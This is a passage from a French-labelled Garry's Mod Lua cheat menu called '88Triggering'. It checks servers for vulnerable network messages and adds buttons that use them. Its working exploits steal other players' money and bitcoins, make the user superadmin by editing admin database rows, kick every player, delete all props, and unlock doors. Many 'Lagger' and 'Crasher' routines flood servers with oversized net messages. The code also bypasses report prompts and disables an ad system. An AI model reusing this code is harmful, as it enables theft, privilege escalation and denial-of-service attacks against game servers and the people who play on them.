3694
3695/*=======================
3696|===== MOTDGD KILL =====|
3697========================*/
3698
3699if(istable(MOTDgd))then
3700 MOTDgd = {}
3701 function MOTDgd.Show() end
3702 function MOTDgd.GetIfSkip() return true end
3703 print "On dirait qu'il n'y aura pas de pub :c"
3704end
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715
3716/*===========================
3717|===== 88Triggering GUI =====|
3718===========================*/
3719surface.CreateFont("clsbtn",{font = "Marlett", size = 15, weight = 0, antialias = 0})
3720
3721
3722
3723concommand.Add( "88", function()
3724surface.PlaySound("UI/buttonclick.wav")
3725
3726local A1 = vgui.Create( "DFrame")
3727A1:SetSize( 700, 620 )
3728A1:Center()
3729A1:SetTitle( "" )
3730A1:ShowCloseButton( false )
3731A1:SetDraggable( true )
3732A1:MakePopup()
3733A1.Paint = function( self, w, h )
3734draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 240))
3735end
3736
3737local AC = vgui.Create( "DButton", A1)
3738AC:SetPos( 680, 0)
3739AC:SetSize( 20, 20 )
3740AC:SetText( "X" )
3741AC:SetFont( "clsbtn" )
3742AC.Paint = function( self, w, h )
3743draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 200))
3744if AC:IsHovered() then
3745AC:SetTextColor( Color( 255, 255, 255 ) )
3746draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 200))
3747else
3748draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 200))
3749AC:SetTextColor( Color( 255, 255, 255 ) )
3750end
3751AC.DoClick = function()
3752surface.PlaySound( "UI/buttonclick.wav" )
3753A1:Remove()
3754end
3755end
3756AL = vgui.Create( "HTML", A1 )
3757AL:SetSize( 400,50 )
3758AL:SetPos( 420,10 )
3759AL:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776
3777/*============================
3778|===== 88Triggering TABS =====|
3779=============================*/
3780
3781local Tabs = vgui.Create( "DPropertySheet", A1 )
3782Tabs:Dock( FILL )
3783Tabs:DockPadding( 0, 0, 0, 0)
3784Tabs.Paint = function (self, w, h)
3785for k, v in pairs(Tabs.Items) do
3786 if (!v.Tab) then continue end
3787
3788 v.Tab.Paint = function(self,w,h)
3789 surface.DrawRect( 0, 0, v.Tab:GetWide(), v.Tab:GetTall() )
3790 end
3791 end
3792 end
3793
3794local exploits = vgui.Create( "DPanel", Tabs )
3795 exploits.Paint = function( self, w, h )
3796 exploits:SetSize(100,100)
3797 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3798 end
3799Tabs:AddSheet( "Exploits", exploits )
3800
3801local netcmd = vgui.Create( "DPanel", Tabs )
3802 netcmd.Paint = function( self, w, h )
3803 draw.RoundedBox(10, 200, 25, w, h, Color(15,15,15,220))
3804 end
3805
3806local mscsbd = vgui.Create( "DPanel", Tabs )
3807 mscsbd.Paint = function( self, w, h )
3808 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3809 end
3810
3811local sdbbd = vgui.Create( "DPanel", Tabs )
3812 sdbbd.Paint = function( self, w, h )
3813 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3814 end
3815
3816Tabs:AddSheet( "Backdoor", netcmd )
3817Tabs:AddSheet( "Musique", mscsbd )
3818Tabs:AddSheet( "Soundboard", sdbbd )
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832
3833/*================================
3834|===== 88Triggering EXPLOITS =====|
3835=================================*/
3836
3837concommand.Add("rainbow",function()
3838hook.Add("Think", "Rainbow", function()
3839local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
3840 LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3841 LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3842end )
3843end )
3844
3845function random_string(length)
3846 math.randomseed(os.time())
3847
3848 if length > 0 then
3849 return random_string(length - 1) .. charset[math.random(1, #charset)]
3850 else
3851 return ""
3852 end
3853end
3854
3855local s = {}
3856s.duel = {}
3857s.duel[1] = table.Random( player.GetAll() )
3858s.duel[2] = table.Random( player.GetAll() )
3859s.duel[2] = 3
3860s.duel[3] = -9999999
3861
3862
3863function CHATPRINT( str )
3864chat.AddText( Color( 0, 0, 0 ), "[88Triggering] ", Color( 255, 255, 255), str )
3865end
3866
3867
3868local function NOTIFICATION(text)
3869
3870local notify = vgui.Create( "DPanel" )
3871notify:SetSize( 1920, 50 )
3872notify:SetPos( ScrW() - 200, -50 )
3873notify.Paint = function(self, w, h)
3874draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50, 220))
3875local bars = 10
3876for i=0, bars, 1 do
3877 local rainbow = Color(0, 0, 0,220)
3878 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 50, w / bars, 50, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 220))
3879end
3880//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, Color(0, 0, 0,220))
3881draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3882end
3883notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
3884timer.Simple( 1, function()
3885notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
3886end)
3887end)
3888end
3889
3890
3891//////////// [CLEAR CHAT] ////////////
3892
3893function clearchat()
3894for i = 0, 100 do
3895chat.AddText(" ")
3896end
3897end
3898
3899//////////// [VAPE] ////////////
3900
3901function Vape()
3902timer.Simple(0, function() RunConsoleCommand("+attack") end )
3903timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
3904end
3905concommand.Add("vape", Vape)
3906concommand.Add("clearchat", clearchat)
3907
3908function Initialize()
3909NOTIFICATION("88TRIGGERING MENU CHARGÉ !")
3910net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
3911net.Receive( "metro_notification",function() // Disable Metro Notification
3912return
3913end)
3914
3915//////////// Font Creation ////////////
3916--
3917surface.CreateFont( "Roboto", {
3918 font = "Roboto",
3919 size = 18,
3920} )
3921--
3922surface.CreateFont( "Calibri-sm", {
3923 font = "Calibri",
3924 size = 15,
3925} )
3926--
3927surface.CreateFont( "Calibri-l", {
3928 font = "Calibri",
3929 size = 21,
3930} )
3931--
3932surface.CreateFont( "tahoma", {
3933 font = "Tahoma",
3934 size = 15,
3935} )
3936--
3937end
3938Initialize(); // Initializes basic shit for when menu is loaded.
3939
3940
3941function ValidNetString( str )
3942local status, error = pcall( net.Start, str )
3943return status
3944end
3945
3946
3947function draw.OutlinedBox( x, y, w, h, thickness, clr )
3948surface.SetDrawColor( clr )
3949for i=0, thickness - 1 do
3950surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
3951end
3952end
3953
3954local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploits )
3955exploitsScrollPanel:Dock( FILL )
3956exploitsScrollPanel:InnerWidth(100)
3957local sbar = exploitsScrollPanel:GetVBar()
3958function exploitsScrollPanel:Paint( w, h )
3959 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
3960end
3961function sbar:Paint( w, h )
3962 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
3963end
3964function sbar.btnUp:Paint( w, h )
3965 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3966end
3967function sbar.btnDown:Paint( w, h )
3968 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3969end
3970function sbar.btnGrip:Paint( w, h )
3971 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3972end
3973
3974totalSploits = 0
3975function addExploit(id, text, desc, func)
3976totalSploits = 1 + totalSploits
3977local id = vgui.Create( "DButton", exploitsScrollPanel )
3978id:SetText( text )
3979id:SetTextColor( Color( 200, 200, 200, 220 ) )
3980id:SetFont("Roboto")
3981id:Dock( TOP )
3982id:DockMargin( 10, 45, 40, -37 )
3983id:DockPadding( 2, 30, 20, 10 )
3984id.DoClick = func
3985if desc then
3986id:SetToolTip( desc )
3987end
3988id.Paint = function( self, w, h )
3989id.OnCursorEntered = function(self)
3990-- surface.PlaySound( "garrysmod/ui_hover.wav" )
3991surface.PlaySound( "buttons/button15.wav" )
3992end
3993if id:IsHovered() then
3994-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
3995draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
3996else
3997draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
3998end
3999surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4000surface.DrawOutlinedRect( 0, 0, w, h )
4001end
4002end
4003
4004
4005//////////////////// [EXPLOITS] ////////////////////
4006
4007status = ValidNetString("TCBBuyAmmo")
4008if (status) then
4009CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
4010addExploit( "1","Munitions Gratuites", "", function()
4011surface.PlaySound("garrysmod/ui_click.wav")
4012CHATPRINT("Getting Le Ammo")
4013for k,v in pairs(GAMEMODE.AmmoTypes) do
4014net.Start("TCBBuyAmmo")
4015net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
4016net.SendToServer()
4017end
4018end)
4019end
4020
4021status = ValidNetString("DataSend")
4022if (status) then
4023CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
4024addExploit( "2","Voler L'argents De Tous #1", "", function()
4025surface.PlaySound("garrysmod/ui_click.wav")
4026for k, v in pairs( ents.GetAll() ) do
4027if v:GetClass() == "adv_moneyprinter" then
4028CHATPRINT("Collecting Money")
4029net.Start("DataSend")
4030net.WriteFloat(2)
4031net.WriteEntity(v)
4032net.WriteEntity(LocalPlayer())
4033net.SendToServer()
4034end
4035end
4036end)
4037end
4038
4039
4040status = ValidNetString("FarmingmodSellItems")
4041if (status) then
4042CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
4043addExploit( "3","Argent Gratuite", "", function()
4044surface.PlaySound("garrysmod/ui_click.wav")
4045CHATPRINT("Enjoy the b1g monies")
4046net.Start("FarmingmodSellItems")
4047net.WriteTable(
4048{
4049Cost = 10,
4050CropModel = "models/props/eryk/garlic.mdl",
4051CropType = 2,
4052Info = "Garlic Seed",
4053Model = "models/props/eryk/seedbag.mdl",
4054Name = "Garlic",
4055Quality = 4,
4056Sell = 99999,
4057Type = "Seed"
4058}
4059)
4060net.WriteInt(1,16)
4061net.SendToServer()
4062end)
4063end
4064
4065status = ValidNetString("start_wd_emp")
4066if (status) then
4067CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
4068addExploit( "4","Hack Keypad", "", function()
4069surface.PlaySound("garrysmod/ui_click.wav")
4070NOTIFICATION("Hacking Keypads")
4071net.Start("start_wd_emp")
4072net.SendToServer()
4073end)
4074end
4075
4076status = ValidNetString("duelrequestguiYes")
4077if (status) then
4078CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
4079addExploit( "5","Recevoir De L'Argent", "", function()
4080surface.PlaySound("garrysmod/ui_click.wav")
4081NOTIFICATION("getting ez monies")
4082net.Start("duelrequestguiYes")
4083net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
4084net.WriteEntity(table.Random( player.GetAll() ) )
4085net.WriteString("Crossbow")
4086net.SendToServer()
4087end)
4088end
4089
4090status = ValidNetString("DarkRP_Kun_ForceSpawn")
4091if (status) then
4092CHATPRINT("Exploit Trouvé : Respawn #1 [DarkRP_Kun_ForceSpawn]")
4093addExploit( "6", "Respawn #1", "", function()
4094surface.PlaySound("garrysmod/ui_click.wav")
4095CHATPRINT("Respawn")
4096net.Start("DarkRP_Kun_ForceSpawn")
4097net.SendToServer()
4098end)
4099end
4100
4101status = ValidNetString("SyncPrinterButtons76561198056171650")
4102if (status) then
4103CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2 [SyncPrinterButtons76561198056171650]")
4104addExploit( "7","Voler L'argents De Tous #2", "", function()
4105surface.PlaySound("garrysmod/ui_click.wav")
4106CHATPRINT("Collecting Money")
4107for k, v in pairs(ents.GetAll()) do
4108if (v:GetClass() == "adv_moneyprinter") then
4109net.Start("SyncPrinterButtons76561198056171650")
4110net.WriteEntity(v)
4111net.WriteUInt(2, 4)
4112net.SendToServer()
4113end
4114end
4115end)
4116end
4117---------------------------------------------------------------------------------------------
4118local function report()
4119 for i = 1, 2000 do
4120 net.Start("DL_Answering")
4121 net.SendToServer()
4122 end
4123end
4124
4125if (Damagelog) then
4126CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
4127reportSpam = 0
4128addExploit( "1337","Kick Tous Le Monde", "", function()
4129 surface.PlaySound("garrysmod/ui_click.wav")
4130 if (reportSpam == 0) then
4131 NOTIFICATION("Starting Kicker")
4132 reportSpam = 1
4133 timer.Create("reportSpammer", 0.05, 0, report)
4134 else
4135 NOTIFICATION("Stopping Kicker")
4136 reportSpam = 0
4137 timer.Remove("reportSpammer")
4138 end
4139
4140end)
4141end
4142----------------------------------------------------------------------------------------------
4143
4144status = ValidNetString("SimplicityAC_aysent")
4145if (status) then
4146CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
4147addExploit( "8","Crash #1", "", function()
4148surface.PlaySound("garrysmod/ui_click.wav")
4149CHATPRINT("Goodbye Server")
4150local tbl = {}
4151for i=1,400 do
4152tbl[i] = i
4153end
4154net.Start("SimplicityAC_aysent")
4155net.WriteUInt(1, 8)
4156net.WriteUInt(4294967295, 32)
4157net.WriteTable(tbl)
4158net.SendToServer()
4159end)
4160end
4161
4162status = ValidNetString("RevivePlayer")
4163if (status) then
4164CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
4165addExploit( "9", "Reanimation #1", "", function()
4166surface.PlaySound("garrysmod/ui_click.wav")
4167if !timer.Exists( "reanimation1" ) then
4168NOTIFICATION( "Enabled" )
4169timer.Create( "reanimation1", 0.5, 0, function()
4170if !LocalPlayer():Alive() then
4171net.Start("RevivePlayer")
4172net.WriteEntity(LocalPlayer())
4173net.SendToServer()
4174end
4175end)
4176else
4177timer.Remove( "reanimation1" )
4178NOTIFICATION( "Disabled" )
4179end
4180end )
4181end
4182
4183status = ValidNetString("NLRKick")
4184if (status) then
4185CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
4186addExploit( "10","Kick Tous Le Monde", "", function()
4187surface.PlaySound("garrysmod/ui_click.wav")
4188NOTIFICATION("Kicking All")
4189for k,v in pairs(player.GetAll()) do
4190if v != LocalPlayer() then
4191net.Start("NLRKick")
4192net.WriteEntity(v)
4193net.SendToServer()
4194end
4195end
4196end)
4197end
4198
4199status = ValidNetString("timebombDefuse")
4200if (status) then
4201CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
4202addExploit( "11","Supprimer Tous Les Props", "", function()
4203surface.PlaySound("garrysmod/ui_click.wav")
4204NOTIFICATION("Props De_Stroyed")
4205for k,v in pairs(ents.GetAll()) do
4206net.Start("timebombDefuse")
4207net.WriteEntity(v)
4208net.WriteBool(true)
4209net.SendToServer()
4210end
4211end)
4212end
4213
4214status = ValidNetString("NDES_SelectedEmblem")
4215if (status) then
4216CHATPRINT("Exploit Trouvé : Lagger #2 [NDES_SelectedEmblem]")
4217addExploit( "12","Lagger #2", "", function()
4218surface.PlaySound("garrysmod/ui_click.wav")
4219if !timer.Exists( "lagger2" ) then
4220timer.Create("lagger2", 0.5, 0, function()
4221for i=1, 2000 do
4222net.Start("NDES_SelectedEmblem",true)
4223net.WriteString("seized")
4224net.SendToServer()
4225end
4226end)
4227NOTIFICATION("Starting Lagger")
4228else
4229timer.Remove("lagger2")
4230NOTIFICATION("Stopping Lagger")
4231end
4232end)
4233end
4234
4235status = ValidNetString("Morpheus.StaffTracker")
4236if (status) then
4237CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
4238addExploit( "13","Crasher #1", "", function()
4239surface.PlaySound("garrysmod/ui_click.wav")
4240if !timer.Exists( "crasher1" ) then
4241timer.Create("crasher1", 0.5, 0, function()
4242for i=1, 2000 do
4243net.Start("Morpheus.StaffTracker")
4244net.SendToServer()
4245end
4246end)
4247NOTIFICATION("Crashing Server")
4248else
4249timer.Remove("crasher1")
4250NOTIFICATION( "Canceling Crasher" )
4251end
4252end)
4253end
4254
4255status = ValidNetString("egg")
4256if (status) then
4257CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
4258addExploit( "14","Recevoir Les Easter Eggs", "", function()
4259surface.PlaySound("garrysmod/ui_click.wav")
4260RunConsoleCommand("say", "4bigz")
4261RunConsoleCommand("cc_egg2")
4262net.Start("egg")
4263net.SendToServer()
4264NOTIFICATION("Gave Easter Egg")
4265end)
4266end
4267
4268status = ValidNetString("pplay_deleterow")
4269if (status) then
4270CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
4271addExploit( "15","Devenir SuperAdmin", "", function()
4272surface.PlaySound("garrysmod/ui_click.wav")
4273local id = LocalPlayer():SteamID()
4274local tbl = {}
4275tbl.name = "FAdmin_PlayerGroup"
4276tbl.where = {
4277"steamid",
4278tostring(id)
4279}
4280
4281net.Start("pplay_deleterow")
4282net.WriteTable(tbl)
4283net.SendToServer()
4284local tbl = {}
4285tbl.tblname = "FAdmin_PlayerGroup"
4286tbl.tblinfo = {
4287tostring(id),
4288"superadmin"
4289}
4290net.Start("pplay_addrow")
4291net.WriteTable(tbl)
4292net.SendToServer()
4293NOTIFICATION("promotion ;)")
4294end)
4295end
4296
4297-- TTT Bypass Report by daddy grampa
4298
4299local function CheckChild(pan)
4300local title = "You have been reported! Please answer all your reports."
4301 if !pan || !IsValid(pan) then return end
4302 if pan.GetTitle && pan:GetTitle() == title then
4303 pan:Remove();
4304 print("Removed warning box")
4305 return
4306 end
4307 for k,v in pairs(pan:GetChildren()) do
4308 if v.GetTitle && v:GetTitle() == title then
4309 v:Remove();
4310 print("Removed warning box")
4311 return
4312 end
4313 if #v:GetChildren() > 0 then
4314 CheckChild(v)
4315 end
4316 end
4317end
4318
4319if (engine.ActiveGamemode() == "terrortown") then
4320bypass = 0
4321CHATPRINT("Exploit Trouvé : TTT Bypass Report")
4322addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
4323surface.PlaySound("garrysmod/ui_click.wav")
4324if (bypass == 0) then
4325hook.Add("Think", "remove_ttt_report", function()
4326local pan = vgui.GetHoveredPanel()
4327CheckChild(pan)
4328end)
4329NOTIFICATION("Enabled Report Bypass")
4330bypass = 1
4331else
4332hook.Remove("Think", "remove_ttt_report")
4333NOTIFICATION("Disabled Report Bypass")
4334bypass = 0
4335end
4336end)
4337end
4338
4339status = ValidNetString("EZS_PlayerTag")
4340if (status) then
4341CHATPRINT("Exploit Trouvé : Lagger #3 [EZS_PlayerTag]")
4342addExploit( "17","Lagger #3", "", function()
4343surface.PlaySound("garrysmod/ui_click.wav")
4344if !timer.Exists( "lagger3" ) then
4345timer.Create("lagger3", 0.5, 0, function()
4346for k, v in pairs(player.GetAll()) do
4347net.Start("EZS_PlayerTag",true)
4348net.WriteEntity(v)
4349net.WriteString("Seized")
4350net.SendToServer()
4351timer.Simple(2, function()
4352net.Start("EZS_PlayerTag",true)
4353net.WriteEntity(v)
4354net.WriteString("Seized")
4355net.SendToServer()
4356end)
4357end
4358end)
4359NOTIFICATION("Starting Lagger")
4360else
4361timer.Remove("lagger3")
4362NOTIFICATION("Stopping Lagger")
4363end
4364end)
4365end
4366
4367if ConVarExists("advttt_spreadovertime_enabled") then
4368CHATPRINT("Exploit Trouvé : NoSpread")
4369addExploit( "18","NoSpread", "", function()
4370surface.PlaySound("garrysmod/ui_click.wav")
4371hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
4372NOTIFICATION("Spread Removed")
4373end)
4374end
4375
4376status = ValidNetString("fp_as_doorHandler")
4377if (status) then
4378CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes | Supprimer Le Propriétaire [fp_as_doorHandler]")
4379addExploit( "19","Ouvrir La Porte", "", function()
4380surface.PlaySound("garrysmod/ui_click.wav")
4381net.Start("fp_as_doorHandler")
4382net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4383net.WriteString("unlock")
4384net.SendToServer()
4385NOTIFICATION("Opened Door")
4386end)
4387end
4388
4389status = ValidNetString("fp_as_doorHandler")
4390if (status) then
4391addExploit( "20","Fermer La Porte", "", function()
4392surface.PlaySound("garrysmod/ui_click.wav")
4393net.Start("fp_as_doorHandler")
4394net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4395net.WriteString("lock")
4396net.SendToServer()
4397NOTIFICATION("Opened Door")
4398end)
4399end
4400
4401status = ValidNetString("fp_as_doorHandler")
4402if (status) then
4403addExploit( "21","Supprimer Le Propriétaire", "", function()
4404surface.PlaySound("garrysmod/ui_click.wav")
4405local door = LocalPlayer():GetEyeTrace().Entity
4406local doorOwner = door:getDoorData()["owner"]
4407net.Start("fp_as_doorHandler")
4408net.WriteEntity(door)
4409net.WriteString("removeOwner")
4410net.WriteDouble(doorOwner)
4411net.SendToServer()
4412NOTIFICATION("Opened Door")
4413end)
4414end
4415
4416status = ValidNetString("VJSay")
4417if (status) then
4418CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
4419addExploit( "22","VJSay [OLD]", "", function()
4420surface.PlaySound("garrysmod/ui_click.wav")
4421inputFrame2Exists = true
4422inputFrame2 = vgui.Create( "DFrame" )
4423inputFrame2:SetTitle("Enter your message!")
4424inputFrame2:SetSize( 400, 75 )
4425inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
4426inputFrame2:SetDraggable(false)
4427inputFrame2:ShowCloseButton(false)
4428inputFrame2:MakePopup()
4429inputFrame2.Paint = function( self, w, h )
4430draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
4431end
4432
4433local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
4434TextEntry2:SetSize( 380, 30 )
4435TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
4436TextEntry2:SetText( "Broadcast Msg" )
4437TextEntry2.OnEnter = function( self )
4438surface.PlaySound("garrysmod/ui_click.wav")
4439NOTIFICATION("Broadcasting")
4440net.Start("VJSay")
4441net.WriteEntity(nil)
4442net.WriteString(TextEntry2:GetValue())
4443net.WriteString("")
4444net.SendToServer()
4445inputFrame2:SetVisible(false)
4446end
4447end)
4448end
4449
4450status = ValidNetString("ply_pick_shit")
4451if (status) then
4452CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
4453addExploit( "23","Argent Gratuite amirite", "", function()
4454surface.PlaySound("garrysmod/ui_click.wav")
4455for k, v in pairs (player.GetAll()) do
4456for i = 1,255 do
4457net.Start("ply_pick_shit")
4458net.WriteEntity(LocalPlayer())
4459net.WriteEntity(v)
4460net.SendToServer()
4461end
4462end
4463NOTIFICATION("enjoy monies")
4464end)
4465end
4466
4467status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
4468if (status) then
4469CHATPRINT("Exploit Trouvé : Faire Crash #2 [pac.net.TouchFlexes.ClientNotify]")
4470addExploit( "24","Crasher #2", "big lagz", function()
4471surface.PlaySound("garrysmod/ui_click.wav")
4472if !timer.Exists( "crasher2" ) then
4473timer.Create("crasher2", 0, 0, function()
4474for i = 1, 400 do
4475net.Start("pac.net.TouchFlexes.ClientNotify")
4476net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
4477net.SendToServer()
4478end
4479end)
4480NOTIFICATION("Starting Crasher")
4481else
4482timer.Remove("crasher2")
4483NOTIFICATION("Stopping Crasher")
4484end
4485end)
4486end
4487
4488status = ValidNetString("BM2.Command.SellBitcoins")
4489if (status) then
4490CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins [BM2.Command.SellBitcoins]")
4491addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
4492surface.PlaySound("garrysmod/ui_click.wav")
4493for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
4494net.Start("BM2.Command.SellBitcoins")
4495net.WriteEntity(v)
4496net.SendToServer()
4497end
4498for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
4499net.Start("BM2.Command.SellBitcoins")
4500net.WriteEntity(v)
4501net.SendToServer()
4502end
4503for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
4504net.Start("BM2.Command.SellBitcoins")
4505net.WriteEntity(v)
4506net.SendToServer()
4507end
4508end)
4509end
4510
4511status = ValidNetString("BM2.Command.Eject")
4512if (status) then
4513CHATPRINT("Exploit Trouvé : Lagger #4 [BM2.Command.Eject]")
4514addExploit( "26","Lagger #4", "", function()
4515surface.PlaySound("garrysmod/ui_click.wav")
4516if !timer.Exists( "lagger4" ) then
4517timer.Create("lagger4", 0, 0, function()
4518for i = 1, 1000 do
4519net.Start("BM2.Command.Eject",true)
4520net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
4521net.SendToServer()
4522end
4523end)
4524NOTIFICATION("Starting Lagger")
4525else
4526timer.Remove("lagger4")
4527NOTIFICATION("Stopping Lagger")
4528end
4529end)
4530end
4531
4532status = ValidNetString("BM2.Command.SellBitcoins")
4533if (status) then
4534CHATPRINT("Exploit Trouvé : Lagger #5 [BM2.Command.SellBitcoins]")
4535addExploit( "27","Lagger #5", "", function()
4536surface.PlaySound("garrysmod/ui_click.wav")
4537timer.Create("lagger5", 0, 0, function()
4538for i=1,1000 do
4539net.Start("BM2.Command.SellBitcoins",true)
4540net.WriteEntity(LocalPlayer())
4541net.SendToServer()
4542end
4543end )
4544end )
4545end
4546
4547status = ValidNetString("ItemStoreUse")
4548if (status) then
4549CHATPRINT("Exploit Trouvé : Lagger #6 [ItemStoreUse]")
4550addExploit( "28","Lagger #6", "", function()
4551surface.PlaySound("garrysmod/ui_click.wav")
4552if !timer.Exists( "lagger6" ) then
4553timer.Create("lagger6", 0, 0, function()
4554for i = 1, 1000 do
4555net.Start("ItemStoreUse",true)
4556net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4557net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4558net.SendToServer()
4559end
4560end)
4561NOTIFICATION("Starting Lagger")
4562else
4563timer.Remove("lagger6")
4564NOTIFICATION("Stopping Lagger")
4565end
4566end)
4567end
4568
4569status = ValidNetString("ItemStoreDrop")
4570if (status) then
4571CHATPRINT("Exploit Trouvé : Lagger #7 [ItemStoreDrop]")
4572addExploit( "29","Lagger #7", "", function()
4573surface.PlaySound("garrysmod/ui_click.wav")
4574if !timer.Exists( "lagger7" ) then
4575timer.Create("lagger7", 0, 0, function()
4576for i = 1, 1000 do
4577net.Start("ItemStoreDrop",true)
4578net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4579net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4580net.SendToServer()
4581end
4582end)
4583NOTIFICATION("Starting Lagger")
4584else
4585timer.Remove("lagger7")
4586NOTIFICATION("Stopping Lagger")
4587end
4588end)
4589end
4590
4591status = ValidNetString("gMining.sellMineral")
4592if (status) then
4593CHATPRINT("Exploit Trouvé : Lagger #8 [gMining.sellMineral]")
4594addExploit( "30","Lagger #8", "", function()
4595surface.PlaySound("garrysmod/ui_click.wav")
4596NOTIFICATION("Starting")
4597if !timer.Exists( "lagger8" ) then
4598timer.Create("lagger8", 0, 0, function()
4599for i = 1, 1000 do
4600net.Start("gMining.sellMineral",true)
4601net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
4602net.WriteString(" ")
4603net.SendToServer()
4604end
4605end )
4606end
4607end )
4608end
4609
4610status = ValidNetString("PlayerUseItem")
4611if (status) then
4612CHATPRINT("Exploit Trouvé : Lagger #9 [PlayerUseItem]")
4613addExploit( "31","Lagger #9", "", function()
4614surface.PlaySound("garrysmod/ui_click.wav")
4615if !timer.Exists( "lagger9" ) then
4616timer.Create("lagger9", 0,0, function()
4617for i = 1, 800 do
4618net.Start("PlayerUseItem",true)
4619net.WriteInt(99999999999999999999999999999999999999999999999, 32)
4620net.SendToServer()
4621end
4622end)
4623NOTIFICATION("Starting Lagger")
4624else
4625timer.Remove("lagger9")
4626NOTIFICATION("Stopping Lagger")
4627end
4628end)
4629end
4630
4631status = ValidNetString("RequestMAPSize")
4632if (status) then
4633CHATPRINT("Exploit Trouvé : Lagger #10 [RequestMAPSize]")
4634addExploit( "32","Lagger #10", "", function()
4635surface.PlaySound("garrysmod/ui_click.wav")
4636if !timer.Exists( "lagger10" ) then
4637timer.Create("lagger10", 0, 0, function()
4638for i = 1, 400 do
4639net.Start("RequestMAPSize",true)
4640net.SendToServer()
4641end
4642end)
4643NOTIFICATION("Starting Lagger")
4644else
4645timer.Remove("lagger10")
4646NOTIFICATION("Stopping Lagger")
4647end
4648end )
4649end
4650
4651status = ValidNetString("MG2.Request.GangRankings")
4652if (status) then
